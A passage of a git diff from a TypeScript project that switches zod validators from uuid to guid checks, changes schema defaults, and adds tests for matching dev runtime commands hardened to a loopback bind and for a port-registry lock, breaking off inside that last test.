   credentialSecretRefs: z.array(toolCredentialSecretRefSchema),
   status: connectionGrantStatusSchema,
   isDefault: z.boolean(),
-  createdByAgentId: z.string().uuid().nullable(),
+  createdByAgentId: z.string().guid().nullable(),
   createdByUserId: z.string().nullable(),
   revokedAt: z.coerce.date().nullable(),
-  revokedByAgentId: z.string().uuid().nullable(),
+  revokedByAgentId: z.string().guid().nullable(),
   revokedByUserId: z.string().nullable(),
   lastUsedAt: z.coerce.date().nullable(),
   createdAt: z.coerce.date(),
@@ -219,7 +220,7 @@ export const connectionTokenRequestSchema = z.object({
   subject: connectionTokenSubjectSchema.optional().default({ type: "app" }),
   scope: connectionTokenScopeSchema.optional(),
   requestedTtlSeconds: z.number().int().positive().max(86_400).optional(),
-  grantId: z.string().uuid().optional(),
+  grantId: z.string().guid().optional(),
 }).strict();
 
 export const startConnectionAuthorizationSchema = z.object({
@@ -264,7 +265,7 @@ export const connectToolAppSchema = z.object({
   name: z.string().trim().min(1).max(160).optional(),
   credentialValues: z.record(z.string().trim().min(1).max(200), z.string().min(1)).optional(),
   configValues: z.record(z.string().trim().min(1).max(200), z.unknown()).optional(),
-  applicationId: z.string().uuid().optional(),
+  applicationId: z.string().guid().optional(),
 }).refine(
   (value) => Boolean(value.galleryKey) !== Boolean(value.link),
   { message: "Provide exactly one of galleryKey or link" },
@@ -279,20 +280,20 @@ export const reconnectToolAppSchema = z.object({
 export type ReconnectToolApp = z.infer<typeof reconnectToolAppSchema>;
 
 export const finishToolAppSchema = z.object({
-  enabledCatalogEntryIds: z.array(z.string().uuid()).max(500).default([]),
-  askFirstCatalogEntryIds: z.array(z.string().uuid()).max(500).default([]),
-  reviewedCatalogEntryIds: z.array(z.string().uuid()).max(500).optional(),
+  enabledCatalogEntryIds: z.array(z.string().guid()).max(500).default([]),
+  askFirstCatalogEntryIds: z.array(z.string().guid()).max(500).default([]),
+  reviewedCatalogEntryIds: z.array(z.string().guid()).max(500).optional(),
   access: z.union([
     z.literal("all_agents"),
-    z.object({ agentIds: z.array(z.string().uuid()).min(1).max(250) }),
+    z.object({ agentIds: z.array(z.string().guid()).min(1).max(250) }),
   ]),
 });
 
 export type FinishToolApp = z.infer<typeof finishToolAppSchema>;
 
 export const upsertToolCatalogEntrySchema = z.object({
-  applicationId: z.string().uuid(),
-  connectionId: z.string().uuid(),
+  applicationId: z.string().guid(),
+  connectionId: z.string().guid(),
   entryKind: toolCatalogEntryKindSchema.default("tool"),
   toolName: z.string().trim().min(1).max(240),
   title: z.string().trim().max(240).optional().nullable(),
@@ -322,7 +323,7 @@ export const createToolProfileSchema = z.object({
 
 export type CreateToolProfile = z.infer<typeof createToolProfileSchema>;
 
-export const updateToolProfileSchema = createToolProfileSchema.partial().refine(
+export const updateToolProfileSchema = objectWithoutDefaults(createToolProfileSchema).partial().refine(
   (value) => Object.keys(value).length > 0,
   { message: "At least one tool profile field is required" },
 );
@@ -330,12 +331,12 @@ export const updateToolProfileSchema = createToolProfileSchema.partial().refine(
 export type UpdateToolProfile = z.infer<typeof updateToolProfileSchema>;
 
 export const createToolProfileEntrySchema = z.object({
-  profileId: z.string().uuid(),
+  profileId: z.string().guid(),
   selectorType: toolProfileEntrySelectorTypeSchema,
   effect: toolProfileEntryEffectSchema.default("include"),
-  applicationId: z.string().uuid().optional().nullable(),
-  connectionId: z.string().uuid().optional().nullable(),
-  catalogEntryId: z.string().uuid().optional().nullable(),
+  applicationId: z.string().guid().optional().nullable(),
+  connectionId: z.string().guid().optional().nullable(),
+  catalogEntryId: z.string().guid().optional().nullable(),
   toolName: z.string().trim().min(1).max(240).optional().nullable(),
   riskLevel: toolRiskLevelSchema.optional().nullable(),
   conditions: z.record(z.string(), z.unknown()).optional().nullable(),
@@ -347,7 +348,7 @@ export const createToolProfileEntryForProfileSchema = createToolProfileEntrySche
 
 export type CreateToolProfileEntryForProfile = z.infer<typeof createToolProfileEntryForProfileSchema>;
 
-export const updateToolProfileEntrySchema = createToolProfileEntryForProfileSchema.partial().refine(
+export const updateToolProfileEntrySchema = objectWithoutDefaults(createToolProfileEntryForProfileSchema).partial().refine(
   (value) => Object.keys(value).length > 0,
   { message: "At least one tool profile entry field is required" },
 );
@@ -367,7 +368,7 @@ export const duplicateToolProfileSchema = z.object({
 
 export type DuplicateToolProfile = z.infer<typeof duplicateToolProfileSchema>;
 
-export const updateToolProfileWithEntriesSchema = createToolProfileSchema.partial().extend({
+export const updateToolProfileWithEntriesSchema = objectWithoutDefaults(createToolProfileSchema).partial().extend({
   entries: z.array(createToolProfileEntryForProfileSchema).max(250).optional(),
 }).refine(
   (value) => Object.keys(value).length > 0,
@@ -378,7 +379,7 @@ export type UpdateToolProfileWithEntries = z.infer<typeof updateToolProfileWithE
 
 export const reviewToolProfileNewToolsSchema = z.object({
   decisions: z.array(z.object({
-    catalogEntryId: z.string().uuid(),
+    catalogEntryId: z.string().guid(),
     decision: z.enum(["allow", "keep_blocked"]),
   })).min(1).max(250),
 });
@@ -387,13 +388,13 @@ export type ReviewToolProfileNewTools = z.infer<typeof reviewToolProfileNewTools
 
 export const deleteToolProfileSchema = z.object({
   force: z.boolean().default(false),
-  reassignToProfileId: z.string().uuid().optional(),
-}).default({});
+  reassignToProfileId: z.string().guid().optional(),
+}).prefault({});
 
 export type DeleteToolProfile = z.infer<typeof deleteToolProfileSchema>;
 
 export const createToolProfileBindingSchema = z.object({
-  profileId: z.string().uuid(),
+  profileId: z.string().guid(),
   targetType: toolProfileBindingTargetTypeSchema,
   targetId: z.string().trim().min(1).max(200),
   priority: z.number().int().min(0).max(10000).default(100),
@@ -423,14 +424,14 @@ export const toolMcpGatewayAuthConfigSchema = z.object({
     defaultTtlSeconds: z.number().int().positive().max(31_536_000).nullable().default(7_776_000),
     requireFiniteExpiry: z.boolean().default(true),
     longLivedTokenRequiresOverride: z.boolean().default(true),
-  }).default({}),
+  }).prefault({}),
   oauth: z.object({
     enabled: z.literal(false).default(false),
     reservedFor: z.literal("v1_5").default("v1_5"),
     protectedResourceMetadataPath: z.string().trim().max(240).optional().nullable(),
     dynamicClientRegistration: z.literal(false).optional(),
     authorizationCodePkce: z.literal(false).optional(),
-  }).default({}),
+  }).prefault({}),
 });
 
 export const toolMcpGatewayHeaderPolicySchema = z.object({
@@ -438,7 +439,7 @@ export const toolMcpGatewayHeaderPolicySchema = z.object({
   callerPassthrough: z.object({
     enabled: z.boolean().default(false),
     allowedHeaders: z.array(headerNameSchema).max(50).default([]),
-  }).default({}),
+  }).prefault({}),
   staticHeaders: z.array(z.object({
     name: headerNameSchema,
     valueRef: z.string().trim().max(240).optional().nullable(),
@@ -447,11 +448,11 @@ export const toolMcpGatewayHeaderPolicySchema = z.object({
   generatedMetadata: z.object({
     enabled: z.boolean().default(false),
     allowedHeaders: z.array(headerNameSchema).max(20).default([]),
-  }).default({}),
+  }).prefault({}),
   responseHeaders: z.object({
     forwardMcpRequiredHeaders: z.boolean().default(true),
     forwardSafeCacheHeaders: z.boolean().default(true),
-  }).default({}),
+  }).prefault({}),
 });
 
 export const toolMcpGatewayMetadataPolicySchema = z.object({
@@ -476,14 +477,14 @@ export const createToolMcpGatewaySchema = z.object({
   slug: z.string().trim().min(1).max(120).regex(safeKeyPattern).optional(),
   displaySlug: z.string().trim().min(1).max(120).regex(safeKeyPattern).optional(),
   description: z.string().max(4000).optional().nullable(),
-  profileId: z.string().uuid(),
+  profileId: z.string().guid(),
   defaultProfileMode: toolMcpGatewayDefaultProfileModeSchema.default("gateway_only").optional(),
   contextScopeType: toolMcpGatewayContextScopeTypeSchema.default("none").optional(),
   contextScopeId: z.string().trim().min(1).max(200).optional().nullable(),
-  agentId: z.string().uuid().optional().nullable(),
-  projectId: z.string().uuid().optional().nullable(),
-  issueId: z.string().uuid().optional().nullable(),
-  approvalIssueId: z.string().uuid().optional().nullable(),
+  agentId: z.string().guid().optional().nullable(),
+  projectId: z.string().guid().optional().nullable(),
+  issueId: z.string().guid().optional().nullable(),
+  approvalIssueId: z.string().guid().optional().nullable(),
   authConfig: toolMcpGatewayAuthConfigSchema.optional(),
   headerPolicy: toolMcpGatewayHeaderPolicySchema.optional(),
   metadataPolicy: toolMcpGatewayMetadataPolicySchema.optional(),
@@ -493,7 +494,7 @@ export const createToolMcpGatewaySchema = z.object({
 
 export type CreateToolMcpGateway = z.infer<typeof createToolMcpGatewaySchema>;
 
-export const updateToolMcpGatewaySchema = createToolMcpGatewaySchema
+export const updateToolMcpGatewaySchema = objectWithoutDefaults(createToolMcpGatewaySchema)
   .partial()
   .extend({ status: toolMcpGatewayStatusSchema.optional() })
   .refine((value) => Object.keys(value).length > 0, { message: "At least one gateway field is required" });
@@ -554,29 +555,29 @@ const timeWindowConditionSchema = z.object({
 const actorConditionSchema = z.object({
   actorType: z.enum(["agent", "user", "system", "plugin"]).optional(),
   actorTypes: z.array(z.enum(["agent", "user", "system", "plugin"])).max(20).optional(),
-  agentId: z.string().uuid().optional(),
-  agentIds: z.array(z.string().uuid()).max(100).optional(),
+  agentId: z.string().guid().optional(),
+  agentIds: z.array(z.string().guid()).max(100).optional(),
 }).strict();
 
 const contextConditionSchema = z.object({
-  projectId: z.string().uuid().optional(),
-  projectIds: z.array(z.string().uuid()).max(100).optional(),
-  routineId: z.string().uuid().optional(),
-  routineIds: z.array(z.string().uuid()).max(100).optional(),
-  issueId: z.string().uuid().optional(),
-  issueIds: z.array(z.string().uuid()).max(100).optional(),
+  projectId: z.string().guid().optional(),
+  projectIds: z.array(z.string().guid()).max(100).optional(),
+  routineId: z.string().guid().optional(),
+  routineIds: z.array(z.string().guid()).max(100).optional(),
+  issueId: z.string().guid().optional(),
+  issueIds: z.array(z.string().guid()).max(100).optional(),
   requireIssue: z.boolean().optional(),
   requireProject: z.boolean().optional(),
   requireRoutine: z.boolean().optional(),
 }).strict();
 
 const credentialScopeConditionSchema = z.object({
-  applicationId: z.string().uuid().optional(),
-  applicationIds: z.array(z.string().uuid()).max(100).optional(),
-  connectionId: z.string().uuid().optional(),
-  connectionIds: z.array(z.string().uuid()).max(100).optional(),
-  catalogEntryId: z.string().uuid().optional(),
-  catalogEntryIds: z.array(z.string().uuid()).max(100).optional(),
+  applicationId: z.string().guid().optional(),
+  applicationIds: z.array(z.string().guid()).max(100).optional(),
+  connectionId: z.string().guid().optional(),
+  connectionIds: z.array(z.string().guid()).max(100).optional(),
+  catalogEntryId: z.string().guid().optional(),
+  catalogEntryIds: z.array(z.string().guid()).max(100).optional(),
   applicationKey: z.string().trim().min(1).max(160).optional(),
   applicationKeys: z.array(z.string().trim().min(1).max(160)).max(100).optional(),
   providerType: z.string().trim().min(1).max(160).optional(),
@@ -622,7 +623,7 @@ export const createToolPolicySchema = z.object({
 
 export type CreateToolPolicy = z.infer<typeof createToolPolicySchema>;
 
-export const updateToolPolicySchema = createToolPolicySchema.partial().refine(
+export const updateToolPolicySchema = objectWithoutDefaults(createToolPolicySchema).partial().refine(
   (value) => Object.keys(value).length > 0,
   { message: "At least one tool policy field is required" },
 );
@@ -630,7 +631,7 @@ export const updateToolPolicySchema = createToolPolicySchema.partial().refine(
 export type UpdateToolPolicy = z.infer<typeof updateToolPolicySchema>;
 
 export const reorderToolPoliciesSchema = z.object({
-  policyIds: z.array(z.string().uuid()).min(1).max(500),
+  policyIds: z.array(z.string().guid()).min(1).max(500),
 });
 
 export type ReorderToolPolicies = z.infer<typeof reorderToolPoliciesSchema>;
@@ -643,11 +644,11 @@ export type DuplicateToolPolicy = z.infer<typeof duplicateToolPolicySchema>;
 
 export const createToolInvocationSchema = z.object({
   idempotencyKey: z.string().trim().min(1).max(300).optional().nullable(),
-  issueId: z.string().uuid().optional().nullable(),
-  runId: z.string().uuid().optional().nullable(),
-  applicationId: z.string().uuid().optional().nullable(),
-  connectionId: z.string().uuid().optional().nullable(),
-  catalogEntryId: z.string().uuid().optional().nullable(),
+  issueId: z.string().guid().optional().nullable(),
+  runId: z.string().guid().optional().nullable(),
+  applicationId: z.string().guid().optional().nullable(),
+  connectionId: z.string().guid().optional().nullable(),
+  catalogEntryId: z.string().guid().optional().nullable(),
   toolName: z.string().trim().min(1).max(240),
   argumentsHash: z.string().trim().max(128).optional().nullable(),
   argumentsSummary: toolRedactedValueSummarySchema.optional().nullable(),
@@ -656,8 +657,8 @@ export const createToolInvocationSchema = z.object({
 export type CreateToolInvocation = z.infer<typeof createToolInvocationSchema>;
 
 export const createToolActionRequestSchema = z.object({
-  invocationId: z.string().uuid(),
-  issueId: z.string().uuid().optional().nullable(),
+  invocationId: z.string().guid(),
+  issueId: z.string().guid().optional().nullable(),
   canonicalArgumentsHash: z.string().trim().min(1).max(128),
   canonicalArgumentsSummary: toolRedactedValueSummarySchema,
   signedArguments: z.string().trim().max(4096).optional().nullable(),
@@ -668,7 +669,7 @@ export const createToolActionRequestSchema = z.object({
 export type CreateToolActionRequest = z.infer<typeof createToolActionRequestSchema>;
 
 export const toolConnectionTestCallSchema = z.object({
-  agentId: z.string().uuid(),
+  agentId: z.string().guid(),
   toolName: z.string().trim().min(1).max(240),
   parameters: z.unknown().optional(),
 });
@@ -683,31 +684,31 @@ export type ImportMcpJson = z.infer<typeof importMcpJsonSchema>;
 
 export const toolAccessSelectorSchema = z.object({
   actorType: z.enum(["agent", "user", "system", "plugin"]).optional(),
-  agentId: z.string().uuid().optional(),
-  agentIds: z.array(z.string().uuid()).optional(),
-  projectId: z.string().uuid().optional(),
-  projectIds: z.array(z.string().uuid()).optional(),
-  routineId: z.string().uuid().optional(),
-  routineIds: z.array(z.string().uuid()).optional(),
-  issueId: z.string().uuid().optional(),
-  issueIds: z.array(z.string().uuid()).optional(),
-  gatewayId: z.string().uuid().optional(),
-  gatewayIds: z.array(z.string().uuid()).optional(),
+  agentId: z.string().guid().optional(),
+  agentIds: z.array(z.string().guid()).optional(),
+  projectId: z.string().guid().optional(),
+  projectIds: z.array(z.string().guid()).optional(),
+  routineId: z.string().guid().optional(),
+  routineIds: z.array(z.string().guid()).optional(),
+  issueId: z.string().guid().optional(),
+  issueIds: z.array(z.string().guid()).optional(),
+  gatewayId: z.string().guid().optional(),
+  gatewayIds: z.array(z.string().guid()).optional(),
   gatewayPublicId: z.string().trim().min(1).max(120).regex(safeKeyPattern).optional(),
   gatewayPublicIds: z.array(z.string().trim().min(1).max(120).regex(safeKeyPattern)).optional(),
-  gatewayTokenId: z.string().uuid().optional(),
-  gatewayTokenIds: z.array(z.string().uuid()).optional(),
+  gatewayTokenId: z.string().guid().optional(),
+  gatewayTokenIds: z.array(z.string().guid()).optional(),
   clientSubjectType: toolMcpGatewayTokenSubjectTypeSchema.optional(),
   clientSubjectTypes: z.array(toolMcpGatewayTokenSubjectTypeSchema).optional(),
   clientName: z.string().trim().min(1).max(160).optional(),
   clientNames: z.array(z.string().trim().min(1).max(160)).optional(),
   externalClient: z.boolean().optional(),
-  applicationId: z.string().uuid().optional(),
-  applicationIds: z.array(z.string().uuid()).optional(),
-  connectionId: z.string().uuid().optional(),
-  connectionIds: z.array(z.string().uuid()).optional(),
-  catalogEntryId: z.string().uuid().optional(),
-  catalogEntryIds: z.array(z.string().uuid()).optional(),
+  applicationId: z.string().guid().optional(),
+  applicationIds: z.array(z.string().guid()).optional(),
+  connectionId: z.string().guid().optional(),
+  connectionIds: z.array(z.string().guid()).optional(),
+  catalogEntryId: z.string().guid().optional(),
+  catalogEntryIds: z.array(z.string().guid()).optional(),
   toolName: z.string().trim().min(1).max(240).optional(),
   toolNames: z.array(z.string().trim().min(1).max(240)).optional(),
   riskLevel: toolRiskLevelSchema.optional(),
@@ -780,29 +781,29 @@ export const revokeToolTrustRuleSchema = z.object({
 export type RevokeToolTrustRule = z.infer<typeof revokeToolTrustRuleSchema>;
 
 export const toolPolicyTestRequestSchema = z.object({
-  companyId: z.string().uuid(),
+  companyId: z.string().guid(),
   actor: z.object({
     actorType: z.enum(["agent", "user", "system", "plugin"]),
     actorId: z.string().trim().min(1).max(240),
-    agentId: z.string().uuid().optional().nullable(),
+    agentId: z.string().guid().optional().nullable(),
   }),
   runContext: z.object({
-    heartbeatRunId: z.string().uuid().optional().nullable(),
-    issueId: z.string().uuid().optional().nullable(),
-    projectId: z.string().uuid().optional().nullable(),
-    routineId: z.string().uuid().optional().nullable(),
-    gatewayId: z.string().uuid().optional().nullable(),
+    heartbeatRunId: z.string().guid().optional().nullable(),
+    issueId: z.string().guid().optional().nullable(),
+    projectId: z.string().guid().optional().nullable(),
+    routineId: z.string().guid().optional().nullable(),
+    gatewayId: z.string().guid().optional().nullable(),
     gatewayPublicId: z.string().trim().min(1).max(120).regex(safeKeyPattern).optional().nullable(),
-    gatewayTokenId: z.string().uuid().optional().nullable(),
+    gatewayTokenId: z.string().guid().optional().nullable(),
     clientSubjectType: toolMcpGatewayTokenSubjectTypeSchema.optional().nullable(),
     clientSubjectId: z.string().trim().min(1).max(240).optional().nullable(),
     clientName: z.string().trim().min(1).max(160).optional().nullable(),
     externalClient: z.boolean().optional().nullable(),
   }).optional().nullable(),
   request: z.object({
-    applicationId: z.string().uuid().optional().nullable(),
-    connectionId: z.string().uuid().optional().nullable(),
-    catalogEntryId: z.string().uuid().optional().nullable(),
+    applicationId: z.string().guid().optional().nullable(),
+    connectionId: z.string().guid().optional().nullable(),
+    catalogEntryId: z.string().guid().optional().nullable(),
     toolName: z.string().trim().min(1).max(240),
     arguments: z.unknown().optional(),
     idempotencyKey: z.string().trim().min(1).max(512).optional().nullable(),
diff --git a/packages/shared/src/validators/trust-policy.ts b/packages/shared/src/validators/trust-policy.ts
index 39496b5e433..f16b002db94 100644
--- a/packages/shared/src/validators/trust-policy.ts
+++ b/packages/shared/src/validators/trust-policy.ts
@@ -10,17 +10,17 @@ export const trustPresetSchema = z.enum(TRUST_PRESETS);
 
 export const lowTrustOutputPromotionTargetSchema = z.object({
   type: z.literal("issue"),
-  issueId: z.string().uuid(),
+  issueId: z.string().guid(),
 }).strict();
 
 export const lowTrustBoundarySchema = z.object({
   mode: z.literal(LOW_TRUST_REVIEW_PRESET),
-  companyId: z.string().uuid().optional(),
-  projectIds: z.array(z.string().uuid()).optional(),
-  rootIssueId: z.string().uuid().optional(),
-  issueIds: z.array(z.string().uuid()).optional(),
-  allowedAgentIds: z.array(z.string().uuid()).optional(),
-  allowedSecretBindingIds: z.array(z.string().uuid()).optional(),
+  companyId: z.string().guid().optional(),
+  projectIds: z.array(z.string().guid()).optional(),
+  rootIssueId: z.string().guid().optional(),
+  issueIds: z.array(z.string().guid()).optional(),
+  allowedAgentIds: z.array(z.string().guid()).optional(),
+  allowedSecretBindingIds: z.array(z.string().guid()).optional(),
   allowedToolClasses: z.array(z.string().trim().min(1)).optional(),
   outputPromotionTarget: lowTrustOutputPromotionTargetSchema.optional(),
 }).strict();
@@ -58,13 +58,13 @@ export const sourceTrustArtifactKindSchema = z.enum(["issue", "comment", "docume
 export const sourceTrustMetadataSchema = z.object({
   preset: trustPresetSchema,
   disposition: z.enum(["quarantined", "promoted"]),
-  sourceIssueId: z.string().uuid().nullable().optional(),
-  sourceRunId: z.string().uuid().nullable().optional(),
-  sourceAgentId: z.string().uuid().nullable().optional(),
+  sourceIssueId: z.string().guid().nullable().optional(),
+  sourceRunId: z.string().guid().nullable().optional(),
+  sourceAgentId: z.string().guid().nullable().optional(),
   promotedFrom: z.object({
     artifactKind: sourceTrustArtifactKindSchema,
-    artifactId: z.string().uuid(),
-    issueId: z.string().uuid().nullable().optional(),
+    artifactId: z.string().guid(),
+    issueId: z.string().guid().nullable().optional(),
   }).strict().nullable().optional(),
   promotedByActorType: z.enum(["agent", "user", "system"]).nullable().optional(),
   promotedByActorId: z.string().trim().min(1).nullable().optional(),
diff --git a/packages/shared/src/validators/work-product.ts b/packages/shared/src/validators/work-product.ts
index 3ed27ba6d60..0934852449e 100644
--- a/packages/shared/src/validators/work-product.ts
+++ b/packages/shared/src/validators/work-product.ts
@@ -1,5 +1,6 @@
 import { z } from "zod";
 import { workspaceFileRefSchema } from "./workspace-file-resource.js";
+import { objectWithoutDefaults } from "./partial.js";
 
 function attachmentContentPath(attachmentId: string): string {
   return `/api/attachments/${attachmentId}/content`;
@@ -35,7 +36,7 @@ export const issueWorkProductReviewStateSchema = z.enum([
 ]);
 
 export const attachmentArtifactWorkProductMetadataSchema = z.object({
-  attachmentId: z.string().uuid(),
+  attachmentId: z.string().guid(),
   contentType: z.string().min(1),
   byteSize: z.number().int().nonnegative(),
   contentPath: z.string().min(1),
@@ -78,9 +79,9 @@ export const issueWorkProductMetadataSchema = z
 export type IssueWorkProductMetadata = z.infer<typeof issueWorkProductMetadataSchema>;
 
 export const createIssueWorkProductSchema = z.object({
-  projectId: z.string().uuid().optional().nullable(),
-  executionWorkspaceId: z.string().uuid().optional().nullable(),
-  runtimeServiceId: z.string().uuid().optional().nullable(),
+  projectId: z.string().guid().optional().nullable(),
+  executionWorkspaceId: z.string().guid().optional().nullable(),
+  runtimeServiceId: z.string().guid().optional().nullable(),
   type: issueWorkProductTypeSchema,
   provider: z.string().min(1),
   externalId: z.string().optional().nullable(),
@@ -92,11 +93,13 @@ export const createIssueWorkProductSchema = z.object({
   healthStatus: z.enum(["unknown", "healthy", "unhealthy"]).optional().default("unknown"),
   summary: z.string().optional().nullable(),
   metadata: issueWorkProductMetadataSchema.optional().nullable(),
-  createdByRunId: z.string().uuid().optional().nullable(),
+  createdByRunId: z.string().guid().optional().nullable(),
 });
 
 export type CreateIssueWorkProduct = z.infer<typeof createIssueWorkProductSchema>;
 
-export const updateIssueWorkProductSchema = createIssueWorkProductSchema.partial();
+export const updateIssueWorkProductSchema = objectWithoutDefaults(
+  createIssueWorkProductSchema,
+).partial();
 
 export type UpdateIssueWorkProduct = z.infer<typeof updateIssueWorkProductSchema>;
diff --git a/packages/shared/src/validators/workspace-file-resource.ts b/packages/shared/src/validators/workspace-file-resource.ts
index 9efe45b57b2..8ee89c63567 100644
--- a/packages/shared/src/validators/workspace-file-resource.ts
+++ b/packages/shared/src/validators/workspace-file-resource.ts
@@ -14,11 +14,11 @@ export const workspaceFileResourceKindSchema = z.enum(["file", "directory", "rem
 
 export const workspaceFileRefSchema = z.object({
   kind: z.literal("workspace_file"),
-  issueId: z.string().uuid().optional(),
-  projectId: z.string().uuid().optional(),
+  issueId: z.string().guid().optional(),
+  projectId: z.string().guid().optional(),
   projectName: z.string().min(1).optional(),
   workspaceKind: workspaceFileWorkspaceKindSchema,
-  workspaceId: z.string().uuid(),
+  workspaceId: z.string().guid(),
   relativePath: z.string().min(1),
   line: z.number().int().positive().nullable().optional(),
   column: z.number().int().positive().nullable().optional(),
@@ -26,8 +26,8 @@ export const workspaceFileRefSchema = z.object({
 });
 
 export const workspaceFileResourceQuerySchema = z.object({
-  projectId: z.string().uuid().optional(),
-  workspaceId: z.string().uuid().optional(),
+  projectId: z.string().guid().optional(),
+  workspaceId: z.string().guid().optional(),
   path: z
     .string()
     .min(1)
@@ -47,8 +47,8 @@ export const workspaceFileAvailabilityRequestSchema = z.object({
 });
 
 export const workspaceFileListQuerySchema = z.object({
-  projectId: z.string().uuid().optional(),
-  workspaceId: z.string().uuid().optional(),
+  projectId: z.string().guid().optional(),
+  workspaceId: z.string().guid().optional(),
   workspace: workspaceFileSelectorSchema.optional(),
   path: z
     .string()
@@ -85,8 +85,8 @@ export const resolvedWorkspaceResourceSchema = z.object({
   displayPath: z.string().min(1),
   workspaceLabel: z.string().min(1),
   workspaceKind: workspaceFileWorkspaceKindSchema,
-  workspaceId: z.string().uuid(),
-  projectId: z.string().uuid().nullable().optional(),
+  workspaceId: z.string().guid(),
+  projectId: z.string().guid().nullable().optional(),
   projectName: z.string().min(1).nullable().optional(),
   contentType: z.string().nullable().optional(),
   byteSize: z.number().int().nonnegative().nullable().optional(),
@@ -100,8 +100,8 @@ export const resolvedWorkspaceResourceSchema = z.object({
 });
 
 export const normalizedWorkspaceFileAvailabilityQuerySchema = z.object({
-  projectId: z.string().uuid().nullable(),
-  workspaceId: z.string().uuid().nullable(),
+  projectId: z.string().guid().nullable(),
+  workspaceId: z.string().guid().nullable(),
   path: z.string().min(1),
   workspace: workspaceFileSelectorSchema,
 });
diff --git a/packages/shared/src/workspace-commands.test.ts b/packages/shared/src/workspace-commands.test.ts
index 9a5c610b68d..11eca81c403 100644
--- a/packages/shared/src/workspace-commands.test.ts
+++ b/packages/shared/src/workspace-commands.test.ts
@@ -75,4 +75,55 @@ describe("workspace command helpers", () => {
 
     expect(match).toBeNull();
   });
+
+  it("matches an exposed dev runtime whose bind command was hardened to loopback", () => {
+    const workspaceRuntime = {
+      commands: [
+        { id: "web", name: "paperclip-dev", kind: "service", command: "pnpm dev --bind lan" },
+      ],
+    };
+    const command = findWorkspaceCommandDefinition(workspaceRuntime, "web");
+    expect(command).not.toBeNull();
+
+    const match = matchWorkspaceRuntimeServiceToCommand(command!, [
+      {
+        id: "runtime-web",
+        serviceName: "paperclip-dev",
+        command: "pnpm dev --bind loopback",
+        cwd: "/repo",
+        configIndex: null,
+        exposure: {
+          provider: "tailscale_https",
+          state: "ready",
+          publicUrl: "https://paperclip-dev.example.ts.net:42012",
+          hostname: "paperclip-dev.example.ts.net",
+          listeners: [],
+          brokerRef: "broker-1",
+          lastError: null,
+          updatedAt: "2026-08-20T00:00:00.000Z",
+        },
+      },
+    ]);
+
+    expect(match).toEqual(expect.objectContaining({ id: "runtime-web" }));
+  });
+
+  it("does not equate a loopback command with a lan command without managed exposure", () => {
+    const command = findWorkspaceCommandDefinition({
+      services: [{ name: "paperclip-dev", command: "pnpm dev --bind lan" }],
+    }, "service:paperclip-dev");
+
+    const match = matchWorkspaceRuntimeServiceToCommand(command!, [
+      {
+        id: "runtime-web",
+        serviceName: "paperclip-dev",
+        command: "pnpm dev --bind loopback",
+        cwd: "/repo",
+        configIndex: null,
+        exposure: null,
+      },
+    ]);
+
+    expect(match).toBeNull();
+  });
 });
diff --git a/packages/shared/src/workspace-commands.ts b/packages/shared/src/workspace-commands.ts
index dd98ef3dc03..e044e95ab27 100644
--- a/packages/shared/src/workspace-commands.ts
+++ b/packages/shared/src/workspace-commands.ts
@@ -1,4 +1,9 @@
 import type { WorkspaceCommandDefinition, WorkspaceRuntimeService } from "./types/workspace-runtime.js";
+import { forceLoopbackBindInCommand } from "./runtime-exposure/loopback-bind.js";
+
+type WorkspaceRuntimeServiceMatchCandidate =
+  & Pick<WorkspaceRuntimeService, "configIndex" | "serviceName" | "command" | "cwd">
+  & Pick<Partial<WorkspaceRuntimeService>, "exposure">;
 
 function isRecord(value: unknown): value is Record<string, unknown> {
   return typeof value === "object" && value !== null && !Array.isArray(value);
@@ -164,9 +169,20 @@ export function findWorkspaceCommandDefinition(
 
 export function scoreWorkspaceRuntimeServiceMatch(
   command: Pick<WorkspaceCommandDefinition, "serviceIndex" | "name" | "command" | "cwd">,
-  runtimeService: Pick<WorkspaceRuntimeService, "configIndex" | "serviceName" | "command" | "cwd">,
+  runtimeService: WorkspaceRuntimeServiceMatchCandidate,
 ) {
-  if (command.command && runtimeService.command && runtimeService.command !== command.command) {
+  const exposedCommandMatches = Boolean(
+    command.command
+    && runtimeService.command
+    && runtimeService.exposure?.provider === "tailscale_https"
+    && runtimeService.command === forceLoopbackBindInCommand(command.command),
+  );
+  if (
+    command.command
+    && runtimeService.command
+    && runtimeService.command !== command.command
+    && !exposedCommandMatches
+  ) {
     return -1;
   }
 
@@ -188,7 +204,7 @@ export function scoreWorkspaceRuntimeServiceMatch(
 }
 
 export function matchWorkspaceRuntimeServiceToCommand<
-  T extends Pick<WorkspaceRuntimeService, "configIndex" | "serviceName" | "command" | "cwd">,
+  T extends WorkspaceRuntimeServiceMatchCandidate,
 >(
   command: Pick<WorkspaceCommandDefinition, "serviceIndex" | "name" | "command" | "cwd">,
   runtimeServices: T[] | null | undefined,
diff --git a/packages/shared/src/worktree-port-registry.test.ts b/packages/shared/src/worktree-port-registry.test.ts
new file mode 100644
index 00000000000..28c6c869d8e
--- /dev/null
+++ b/packages/shared/src/worktree-port-registry.test.ts
@@ -0,0 +1,147 @@
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { setTimeout as delay } from "node:timers/promises";
+import { afterEach, describe, expect, it } from "vitest";
+import {
+  withWorktreePortRegistryLock,
+  withWorktreePortRegistryLockSync,
+} from "./worktree-port-registry.js";
+
+const temporaryRoots: string[] = [];
+
+function makeTemporaryRoot(): string {
+  const root = fs.mkdtempSync(path.join(os.tmpdir(), "paperclip-port-registry-lock-"));
+  temporaryRoots.push(root);
+  return root;
+}
+
+function deferred(): { promise: Promise<void>; resolve: () => void } {
+  let resolve!: () => void;
+  const promise = new Promise<void>((done) => {
+    resolve = done;
+  });
+  return { promise, resolve };
+}
+
+afterEach(() => {
+  for (const root of temporaryRoots.splice(0)) {
+    fs.rmSync(root, { recursive: true, force: true });
+  }
+});
+
+describe("worktree port registry lock", () => {
+  it("does not reclaim a stale lock while its fallback ownership probe responds", async () => {
+    const homeDir = makeTemporaryRoot();
+    const lockPath = path.join(homeDir, ".worktree-port-reservations.lock");
+    const firstEntered = deferred();
+    const releaseFirst = deferred();
+    let secondEntered = false;
+
+    const first = withWorktreePortRegistryLock(homeDir, async () => {
+      fs.renameSync(path.join(lockPath, "owner.json"), path.join(lockPath, "owner.unavailable.json"));
+      const backupOwnerPath = path.join(lockPath, "owner.backup.json");
+      const owner = JSON.parse(fs.readFileSync(backupOwnerPath, "utf8"));
+      fs.writeFileSync(backupOwnerPath, `${JSON.stringify({
+        ...owner,
+        processIdentity: "unavailable-process-identity",
+      })}\n`);
+      const oldTimestamp = new Date(Date.now() - 10_000);
